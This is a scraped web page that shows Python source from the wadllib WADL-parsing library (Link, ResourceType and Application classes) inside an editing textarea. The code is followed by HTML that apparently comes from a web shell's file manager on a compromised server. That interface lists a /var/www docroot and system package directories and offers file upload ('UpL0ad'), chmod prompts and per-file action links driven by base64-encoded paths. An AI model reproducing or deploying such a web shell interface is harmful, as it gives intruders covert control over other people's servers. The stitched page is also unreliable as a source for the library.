    def __init__(self, parameter, link_tag):
        &quot;&quot;&quot;Initialize the link.

        :param parameter: A Parameter.
        :param link_tag: An ElementTree &lt;link&gt; tag.
        &quot;&quot;&quot;
        super(Link, self).__init__(parameter.application)
        self.parameter = parameter
        self.tag = link_tag

    @property
    def follow(self):
        &quot;&quot;&quot;Follow the link to another Resource.&quot;&quot;&quot;
        if not self.can_follow:
            raise WADLError(&quot;Cannot follow a link when the target has no &quot;
                            &quot;WADL description. Try using a general HTTP &quot;
                            &quot;client instead.&quot;)
        return self.resolve_definition()

    @property
    def can_follow(self):
        &quot;&quot;&quot;Can this link be followed within wadllib?

        wadllib can follow a link if it points to a resource that has
        a WADL definition.
        &quot;&quot;&quot;
        try:
            definition_url = self._get_definition_url()
        except WADLError:
            return False
        return True

    def _definition_factory(self, id):
        &quot;&quot;&quot;Turn a resource type ID into a ResourceType.&quot;&quot;&quot;
        return Resource(
            self.application, self.parameter.get_value(),
            self.application.resource_types.get(id).tag)

    def _get_definition_url(self):
        &quot;&quot;&quot;Find the URL containing the definition .&quot;&quot;&quot;
        type = self.tag.attrib.get('resource_type')
        if type is None:
            raise WADLError(&quot;Parameter is a link, but not to a resource &quot;
                            &quot;with a known WADL description.&quot;)
        return type


class ResourceType(WADLBase):
    &quot;&quot;&quot;A wrapper around an XML &lt;resource_type&gt; tag.&quot;&quot;&quot;

    def __init__(self, resource_type_tag):
        &quot;&quot;&quot;Initialize with a &lt;resource_type&gt; tag.

        :param resource_type_tag: An ElementTree &lt;resource_type&gt; tag.
        &quot;&quot;&quot;
        self.tag = resource_type_tag


class Application(WADLBase):
    &quot;&quot;&quot;A WADL document made programmatically accessible.&quot;&quot;&quot;

    def __init__(self, markup_url, markup):
        &quot;&quot;&quot;Parse WADL and find the most important parts of the document.

        :param markup_url: The URL from which this document was obtained.
        :param markup: The WADL markup itself, or an open filehandle to it.
        &quot;&quot;&quot;
        self.markup_url = markup_url
        if hasattr(markup, 'read'):
            self.doc = self._from_stream(markup)
        else:
            self.doc = self._from_string(markup)
        self.resources = self.doc.find(wadl_xpath('resources'))
        self.resource_base = self.resources.attrib.get('base')
        self.representation_definitions = {}
        self.resource_types = {}
        for representation in self.doc.findall(wadl_xpath('representation')):
            id = representation.attrib.get('id')
            if id is not None:
                definition = RepresentationDefinition(
                    self, None, representation)
                self.representation_definitions[id] = definition
        for resource_type in self.doc.findall(wadl_xpath('resource_type')):
            id = resource_type.attrib['id']
            self.resource_types[id] = ResourceType(resource_type)

    def _from_stream(self, stream):
        &quot;&quot;&quot;Turns markup into a document.

        Just a wrapper around ElementTree which keeps track of namespaces.
        &quot;&quot;&quot;
        events = &quot;start&quot;, &quot;start-ns&quot;, &quot;end-ns&quot;
        root = None
        ns_map = []

        for event, elem in ET.iterparse(stream, events):
            if event == &quot;start-ns&quot;:
                ns_map.append(elem)
            elif event == &quot;end-ns&quot;:
                ns_map.pop()
            elif event == &quot;start&quot;:
                if root is None:
                    root = elem
                elem.set(NS_MAP, dict(ns_map))
        return ET.ElementTree(root)

    def _from_string(self, markup):
        &quot;&quot;&quot;Turns markup into a document.&quot;&quot;&quot;
        if not isinstance(markup, bytes):
            markup = markup.encode(&quot;UTF-8&quot;)
        return self._from_stream(io.BytesIO(markup))

    def get_resource_type(self, resource_type_url):
        &quot;&quot;&quot;Retrieve a resource type by the URL of its description.&quot;&quot;&quot;
        xml_id = self.lookup_xml_id(resource_type_url)
        resource_type = self.resource_types.get(xml_id)
        if resource_type is None:
            raise KeyError('No such XML ID: &quot;%s&quot;' % resource_type_url)
        return resource_type

    def lookup_xml_id(self, url):
        &quot;&quot;&quot;A helper method for locating a part of a WADL document.

        :param url: The URL (with anchor) of the desired part of the
        WADL document.
        :return: The XML ID corresponding to the anchor.
        &quot;&quot;&quot;
        markup_uri = URI(self.markup_url).ensureNoSlash()
        markup_uri.fragment = None

        if url.startswith('http'):
            # It's an absolute URI.
            this_uri = URI(url).ensureNoSlash()
        else:
            # It's a relative URI.
            this_uri = markup_uri.resolve(url)
        possible_xml_id = this_uri.fragment
        this_uri.fragment = None

        if this_uri == markup_uri:
            # The URL pointed elsewhere within the same WADL document.
            # Return its fragment.
            return possible_xml_id

        # XXX leonardr 2008-05-28:
        # This needs to be implemented eventually for Launchpad so
        # that a script using this client can navigate from a WADL
        # representation of a non-root resource to its definition at
        # the server root.
        raise NotImplementedError(&quot;Can't look up definition in another &quot;
                                  &quot;url (%s)&quot; % url)

    def get_resource_by_path(self, path):
        &quot;&quot;&quot;Locate one of the resources described by this document.

        :param path: The path to the resource.
        &quot;&quot;&quot;
        # XXX leonardr 2008-05-27 This method only finds top-level
        # resources. That's all we need for Launchpad because we don't
        # define nested resources yet.
        matching = [resource for resource in self.resources
                    if resource.attrib['path'] == path]
        if len(matching) &lt; 1:
            return None
        if len(matching) &gt; 1:
            raise WADLError(&quot;More than one resource defined with path %s&quot;
                            % path)
        return Resource(
            self, merge(self.resource_base, path, True), matching[0])
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/wadllib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2Vz"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>1108</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWIvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&x=YXBwbGljYXRpb24ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=YXBwbGljYXRpb24ucHk="/>application.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=YXBwbGljYXRpb24ucHk=&c=`+btoa(c):0" value="0644"></td><td>48106</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&x=aXNvX3N0cnB0aW1lLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=aXNvX3N0cnB0aW1lLnB5"/>iso_strptime.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=aXNvX3N0cnB0aW1lLnB5&c=`+btoa(c):0" value="0644"></td><td>2889</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWIvdGVzdHM="/>tests</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI=&f=dGVzdHM=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>